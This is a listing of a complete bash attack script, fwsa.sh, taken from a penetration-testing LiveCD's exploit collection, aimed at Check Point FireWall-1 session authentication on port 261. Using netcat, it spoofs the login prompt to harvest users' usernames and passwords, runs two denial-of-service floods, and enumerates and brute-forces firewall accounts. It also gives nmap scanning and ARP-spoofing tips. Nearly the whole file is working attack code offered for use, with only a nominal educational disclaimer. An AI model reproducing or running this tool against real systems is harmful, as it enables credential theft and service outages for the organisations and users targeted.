home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / firewall / Checkpoint / fwsa.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  13KB  |  551 lines

  1. #!/bin/bash
  2. #
  3. # Fwsa (FW-1 session auth), tested on linux 2.4.0 beta
  4. # ( Swiss army knife for FW-1 Session authentication. )
  5. #
  6. # successfully tested against Session Authentication Agents 4.0 & 4.1
  7. # and Firewall-1 module 4.0 
  8. #
  9. # please don't use it for any illegal activity but only for educational purposes
  10. #
  11. #         Gregory Duchemin   ( aka c3rb3r )
  12. #     for help or bug report <==> c3rb3r@hotmail.com
  13.  
  14. # 0ctober 2000
  15.  
  16. function Usage()
  17. {
  18. echo
  19. echo " Usage: "$0" Targets_filez  type_of_attack [FQDN name] [dict file] [0/1/2/3]"
  20. echo
  21. echo "================proof of concept // Version 1.0 ==="
  22. echo "==================================================="
  23. echo
  24. echo " Note: Targets_filez is a plaintext file with all IPs to check"
  25. echo "       I recommend u to make it with the help of Nmap "
  26. echo "       Try nmap -T Insane -sS -P0 -p 261 RANGE_IP to look for listening session agents." 
  27. echo " Note: Type of attack is 1 for password recovery, 2 for stupid DOS, 3 for "
  28. echo "       dangerous DOS and 4 for bruteforcing users password on Firewall"
  29. echo
  30. echo "       * password recovery will turn you back user FW1 login/password"
  31. echo "       * stupid DOS just open a connexion and wait for nothing"
  32. echo "         It'll block all other connexion and so, user access."
  33. echo "       * dangerous DOS will enter an infinite loop within it send garbage."
  34. echo "         Will crash some weak systems. ( find wich ones ;) ) "
  35. echo "       * passwords Brute-force try to guess users password onto "
  36. echo "         the corporate firewall. Have to supply an external address in filez"
  37. echo "         to force firewall to connect on local port ( port 261 )."
  38. echo
  39. echo " Note: FQDN name is Fully Qualified Domain name, default:firewall used for FW-1 "
  40. echo " banner."
  41. echo " Note: Change the internal variables filez and logfile to store your stock into, default:\"...\""
  42. echo " Note: this proggy needs netcat to nicely work."
  43. echo 
  44. echo " G00d Hunt !"
  45. echo 
  46. echo " author:  Gregory Duchemin  ( aka c3rb3r )"
  47. echo "                          c3rb3r@hotmail.com "
  48. echo 
  49. echo " N0 c0pyright, feel free to use or modify it as u want"
  50. echo
  51. }
  52.  
  53. signal_handler()
  54. {
  55. sync
  56. echo 
  57. echo "Warning: target aborted, continuing with next one..."
  58. echo
  59. echo
  60. }
  61.  
  62.  
  63. filtered()
  64. {
  65. echo
  66. echo "Error: target port 261 doesn't respond"
  67. echo "       it should be because target is filtering or is down." 
  68. echo "       Anyway, try again spoofing firewall address."
  69. echo "       Arptool should be helpfull to do the job"
  70. echo
  71. }
  72.  
  73. closed()
  74. {
  75. echo
  76. echo "Error: target port 261 is closed"
  77. echo "       continuing with next ip." 
  78. echo
  79. echo
  80. }
  81.  
  82. simple_dos()
  83. {
  84. for i in $ip; do 
  85. echo
  86. echo "***********************************************"
  87. echo "Launching stupid DOS attack against "$i" !"
  88. echo "***********************************************"
  89. echo
  90. echo
  91. {
  92. sleep $timeout 
  93. sync
  94. }| nc -n -w 2 -v $i 261 > $logfile 2>&1
  95. if [ `awk '{ print $7 }' $logfile` = "refused" ]; then
  96. closed
  97. else
  98. if [ `awk '{ print $7 }' $logfile` = "timed" ]; then
  99. filtered
  100. fi
  101. fi
  102. done
  103. rm $logfile
  104. echo
  105. echo "DOS terminated. ( Hope it's ok)"
  106. echo
  107. }
  108.  
  109.  
  110. dangerous_dos()
  111. {
  112. for i in $ip; do 
  113. echo
  114. echo "****************************************************"
  115. echo "Launching dangerous DOS attack against "$i" !"
  116. echo "****************************************************"
  117. echo
  118. echo
  119. {
  120. sleep $timeout 
  121. cat /dev/random
  122. }| nc -n -w 2 -v $i 261  > $logfile 2>&1
  123. if [ $( awk '{ print $7 }' $logfile) = "refused" ]; then
  124. closed
  125. else 
  126. if [ $(awk '{ print $7 }' $logfile) = "timed" ]; then
  127. filtered
  128. fi
  129. fi
  130. done
  131. rm $logfile
  132. echo
  133. echo "DOS terminated. ( Hope it's ok)"
  134. echo
  135. }
  136.  
  137.  
  138. password_recovery()
  139. {
  140. for i in $ip; do 
  141. echo
  142. echo "*****************************************************"
  143. echo "Launching FW1 password recovery against "$i" !"
  144. echo "*****************************************************"
  145. echo
  146. echo
  147. {
  148. sleep $timeout 
  149. sync 
  150. cat /dev/null > $logfile
  151. echo "220 FW-1 Session Authentication Request from "$name
  152. echo "211 253141732 1988 3931424644 80 5"
  153. echo "331 User:"
  154. sync
  155. # synchronisation of buffers and disks  
  156. while [ ! -s $logfile ]; do 
  157. # waiting for user info supply in logfile 
  158. sleep 1
  159. done
  160. user=$(cat $logfile)
  161.  
  162. echo "331 *Firewall-1 password:"
  163.  
  164. while [ `wc -l $logfile|awk '{ print $1 }'` -eq 1 ]; do
  165. sleep 1
  166. done
  167. sed 's/'$user'//' $logfile | sed '/./,$!d' > ./tmp
  168. password=$(cat ./tmp)
  169. rm ./tmp
  170. echo "200 User $user authenticated by Firewall-1 authentication."
  171. echo "230 OK"
  172. sleep 2
  173. echo >> $filez
  174. echo >> $filez
  175. echo "===== Password recovery ============================================" >> $filez
  176. echo "====================================================================" >> $filez
  177. echo " Target <==> $i" >> $filez 
  178. echo >> $filez 
  179. echo " Username <==> $user    Password <==> $password" >> $filez
  180. echo >> $filez 
  181. echo >> $filez 
  182. exit 0
  183. }| nc  -n -w 2 -v $i 261  > $logfile
  184. if [ -f ./tmp ]; then
  185. rm tmp
  186. fi
  187. done
  188. if [ -f $logfile ]; then
  189. rm $logfile
  190. fi
  191. echo
  192. echo "Done. ( see "$filez" to read stolen informations)"
  193. echo
  194. }
  195.  
  196.  
  197.  
  198. password_bruteforce()
  199. {
  200. for i in $ip; do 
  201.  
  202.  
  203. echo
  204. echo "*****************************************************"
  205. echo "Launching FW1 password BruteForce attack "
  206. echo "*****************************************************"
  207. echo
  208. echo
  209.  
  210.  
  211. if [ -s $logfile ]; then
  212. cat /dev/null > $logfile
  213. fi
  214.  
  215. # We use as many char string as there are in password because
  216. # most of the time, admin won't use a "real" random generator but 
  217. # a program that use a basic scheme.
  218. # if u understand this scheme and modify the string below, u should be able to increase significantly your chances of succeed.  
  219. # if passwords in your company are less than 8 chars, comment useless lines 
  220.  
  221. # password scheme:
  222. # for instance, first letter could be uppercase ( A or H string depending on order byte ).
  223. # initial values are commented
  224.  
  225. #A='a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 1 2 3 4 5 6 7 8 9 0'
  226. A='A B C D E F G H I J K L M N O P Q R S T U V W X Y Z'
  227.  
  228. B='a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 1 2 3 4 5 6 7 8 9 0'
  229. C='a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 1 2 3 4 5 6 7 8 9 0'
  230. D='a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 1 2 3 4 5 6 7 8 9 0'
  231. E='a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 1 2 3 4 5 6 7 8 9 0'
  232. F='a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 1 2 3 4 5 6 7 8 9 0'
  233. G='a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 1 2 3 4 5 6 7 8 9 0'
  234. H='a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 1 2 3 4 5 6 7 8 9 0'
  235. {
  236. # we send a probe to anywhere in the world port 80 (or whatever fw rules allow), waiting for FW answer 
  237. nc -w 2 -n $i 80 > /dev/null 2>&1
  238.  
  239. # waiting for invitation caller  
  240. grep 331 $logfile > /dev/null
  241. while [ $? -eq 1 ]; 
  242. do 
  243. grep 331 $logfile > /dev/null
  244. done
  245.  
  246. # we try now our login names until we get back the magic cookie
  247. # actually we read login names in a file, it should be more efficient since most of admins use real names.
  248. # u can use brute force to guess login in the same manner we use it for passwords.
  249. # in this case, just change the few lines below to use chars strings from 1 up to 8 loops.
  250.  
  251. for user in $username
  252. do
  253. cat /dev/null > $logfile
  254. sync
  255. echo $user
  256.  
  257. # 530 eg NOTOK, error response
  258. # fw1 session authentication reply with an error code if username doesn't exist, that's a flaw in itself.
  259.  
  260. sleep $timeout 
  261.  
  262. grep 530 $logfile > /dev/null
  263. if [ $? -eq 1 ]; then
  264. echo "===== Password Brute force ============================================" >> $filez
  265. echo "====================================================================" >> $filez
  266. echo >> $filez
  267. echo >> $filez
  268. echo " login ok :"$user >> $filez
  269. echo >> $filez
  270. echo >> $filez
  271. echo $user >> ./.users
  272. sync
  273. continue
  274. fi
  275. done
  276.  
  277. if [ ! -f ./.users ]; then 
  278. exit
  279. fi
  280.  
  281. targets=`cat ./.users`
  282. rm ./.users
  283.  
  284. # Now it's time  we try to guess password for this user
  285. # if passwords in your company are less than 8 chars, comment useless loops.
  286.  
  287.  
  288. for user in $targets
  289. do
  290.  
  291. for i8 in $H 
  292. do
  293. for i7 in $G
  294. do
  295.  
  296. # this rule is optional
  297. if [ $i7 = $i8 ]; then
  298. continue
  299. fi
  300.  
  301. for i6 in $F
  302. do
  303.  
  304. # this rule is optional
  305. if [ $i6 = $i7 ]; then
  306. continue
  307. fi
  308.  
  309. for i5 in $E
  310. do
  311.  
  312. # this rule is optional
  313. if [ $i5 = $i6 ]; then
  314. continue
  315. fi
  316.  
  317. for i4 in $D 
  318. do
  319.  
  320. # this rule is optional
  321. if [ $i4 = $i5 ]; then
  322. continue
  323. fi
  324.  
  325. for i3 in $C
  326. do
  327.  
  328. # this rule is optional
  329. if [ $i3 = $i4 ]; then
  330. continue
  331. fi
  332.  
  333. for i2 in $B
  334. do
  335.  
  336. # this rule is optional
  337. if [ $i2 = $i3 ]; then
  338. continue
  339. fi
  340.  
  341. for i1 in $A
  342. do
  343.  
  344. # this rule is optional
  345. if [ $i1 = $i2 ]; then
  346. continue
  347. fi
  348.  
  349.  
  350. # waiting for server
  351.  
  352. grep 331 $logfile > /dev/null
  353. while [ $? -eq 1 ];
  354. do 
  355. grep 331 $logfile > /dev/null
  356. done
  357.  
  358.  
  359. # order is fetched by the user (see usage), and may be usefull for multi-process bruteforce.
  360.  
  361. if [ $order -eq 0 ]; then
  362. echo $i1$i2$i3$i4$i5$i6$i7$i8
  363. # for debugging purpose
  364. echo "trying $i1$i2$i3$i4$i5$i6$i7$i8" >> $filez
  365. else
  366. if [ $order -eq 1 ]; then
  367. echo $i1$i7$i6$i5$i4$i3$i2$i8
  368. echo "trying $i1$i7$i6$i5$i4$i3$i2$i8" >> $filez
  369. else
  370. if [ $order -eq 2 ]; then
  371. echo $i1$i5$i8$i2$i4$i7$i3$i6
  372. echo "trying $i1$i5$i8$i2$i4$i7$i3$i6" >> $filez
  373. else
  374. echo $i1$i2$i4$i7$i8$i3$i6$i5
  375. echo "trying $i1$i2$i4$i7$i8$i3$i6$i5" >> $filez
  376. fi
  377. fi
  378. fi
  379. sync 
  380. usleep $utimeout 
  381.  
  382. # 230 eg OK, password is correct 
  383.  
  384. grep 230 $logfile > /dev/null
  385. if [ $? -eq 0 ]; then
  386. echo >> $filez
  387. if [ $order -eq 0 ]; then
  388. echo "password ok :"$i1$i2$i3$i4$i5$i6$i7$i8 >> $filez
  389. else
  390. if [ $order -eq 1 ]; then
  391. echo "password ok :"$i8$i7$i6$i5$i4$i3$i2$i1 >> $filez
  392. else
  393. if [ $order -eq 2 ]; then
  394. echo "password ok :"$i8$i5$i1$i2$i4$i7$i3$i6 >> $filez
  395. else
  396. echo "password ok :"$i2$i1$i4$i7$i8$i3$i6$i5 >> $filez
  397. fi
  398. fi
  399. fi
  400. echo >> $filez
  401. echo >> $filez
  402. exit
  403. fi
  404.  
  405. # we r supposed to reinject username each time, this one we just discovered
  406. # but connexion is still alive that's the major flaw.
  407.  
  408. grep 331 $logfile > /dev/null
  409. while [ $? -eq 1 ];
  410. do 
  411. grep 331 $logfile > /dev/null
  412. done
  413.  
  414. echo $user
  415. done
  416. done
  417. done
  418. done
  419. done
  420. done
  421. done
  422. done
  423.  
  424. done
  425. }| nc  -n  -l -p 261  > $logfile 2>&1
  426.  
  427. #if [ -f $logfile ]; then
  428. #rm $logfile
  429. #fi
  430. done
  431. echo
  432. echo "Done. ( see "$filez" to read stolen informations)"
  433. echo
  434. }
  435.  
  436.  
  437.  
  438. if [ $# -lt 2 ]; then
  439. Usage
  440. exit
  441. fi
  442.  
  443. nc -h  > /dev/null 2>&1
  444. if [ ! $? -eq 1 ]; then
  445. Usage
  446. echo
  447. echo
  448. echo "Error: "$0" needs netcat to properly run, please check u have it in your \$PATH or compile it now."
  449. echo
  450. exit
  451. fi 
  452.  
  453. if [ ! $2 -eq 1 ] && [ ! $2 -eq 2 ] && [ ! $2 -eq 3 ] && [ ! $2 -eq 4 ]; then
  454. Usage
  455. echo
  456. echo
  457. echo "Error: Value for type of attack is out of range."
  458. echo
  459. exit
  460. fi
  461.  
  462. if [ ! -s $1 ]; then
  463. Usage
  464. echo
  465. echo
  466. echo "Error: "$0" didn't find your Targets_ip filez."
  467. echo
  468. exit
  469. fi
  470.  
  471. trap signal_handler SIGINT
  472.  
  473.  
  474. ip=`cat $1`
  475.  
  476.  
  477. # filez is where results are writen, please change it for your configuration
  478. # don't forget to change this values for every instance of the process, u would like to launch
  479. filez="./......"
  480. logfile="./logfile4"
  481.  
  482. cat /dev/null > $filez
  483.  
  484. name="fwl01"
  485.  
  486. # timeout is connexion timer when waiting for a server response.
  487.  
  488. timeout=2
  489.  
  490.  
  491. # utimeout is pretty important, specifically for brute force attack, lower value means faster loop but if too low, fw reply would be mistaken
  492. # that depends of your network round trip time and average firewall cpu usage.
  493. # try different values first: default 22 millisecond
  494.  
  495. utimeout=22000
  496.  
  497. if [ $# -gt 2 ]; then
  498. name=$3
  499. fi
  500. if [ $# -gt 2 ] && [ $2 -eq 4 ]; then
  501. if [ ! -s $3 ]; then
  502. Usage
  503. echo
  504. echo "Error: "$0" didn't find your dict filez or it's empty."
  505. echo
  506. exit
  507. fi
  508. username=`cat $3`
  509. fi
  510.  
  511. order=0
  512. if [ $# -gt 3 ]; then
  513. order=$4
  514. fi
  515.  
  516. if [ -f $logfile ]; then
  517. rm -f $logfile
  518. fi
  519.  
  520. case "$2" in 
  521. 1)
  522.    password_recovery
  523.    ;;
  524.  
  525. 2)
  526.   simple_dos
  527.   ;;
  528.  
  529. 3)
  530.   dangerous_dos
  531.   ;;
  532.  
  533. 4)
  534.   password_bruteforce
  535.   if [ -s $filez ]; then
  536.   cat $filez
  537.   fi
  538.   ;;
  539.  
  540. *)
  541.   exit 1
  542. esac
  543. exit
  544.  
  545.  
  546.  
  547.  
  548.  
  549.  
  550.